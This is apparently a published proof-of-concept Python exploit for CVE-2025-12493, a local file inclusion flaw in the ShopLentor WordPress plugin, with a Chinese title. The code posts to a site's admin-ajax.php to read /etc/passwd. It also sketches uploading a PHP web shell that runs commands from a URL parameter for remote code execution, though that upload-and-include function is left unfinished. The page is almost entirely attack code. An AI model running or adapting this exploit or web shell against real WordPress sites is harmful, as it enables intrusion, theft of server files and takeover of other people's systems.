CVE-2025-12493 | ShopLentor WordPress插件本地文件包含漏洞

import requests import sys # CVE-2025-12493 PoC - ShopLentor LFI Vulnerability # Target: WordPress site with ShopLentor plugin <= 3.2.5 TARGET = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com' # LFI via load_template function # Attack vector: Include arbitrary .php files def exploit_lfi(target, filename='/etc/passwd'): """Exploit local file inclusion via load_template""" endpoint = f"{target}/wp-admin/admin-ajax.php" # Payload for LFI via wl_load_template action data = { 'action': 'wl_load_template', 'file': filename # Path traversal possible } print(f"[*] Targeting: {target}") print(f"[*] Requesting file: {filename}") try: response = requests.post(endpoint, data=data, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") if response.status_code == 200 and 'root:' in response.text: print("[!] VULNERABLE - File inclusion successful!") print(response.text[:500]) return True else: print("[-] Target may not be vulnerable") return False except Exception as e: print(f"[-] Error: {e}") return False # Alternative: Upload and include webshell def upload_and_include(target, webshell_path): """Upload PHP shell and include it for RCE""" upload_endpoint = f"{target}/wp-admin/admin-ajax.php" # Upload malicious file files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')} data = {'action': 'woolentor_upload_file'} # Then include the uploaded file include_data = { 'action': 'wl_load_template', 'file': '/path/to/uploaded/shell.php' } print("[*] Uploading webshell...") print("[*] Including uploaded file for RCE...") if __name__ == '__main__': print("CVE-2025-12493 PoC - ShopLentor LFI") exploit_lfi(TARGET, '/etc/passwd')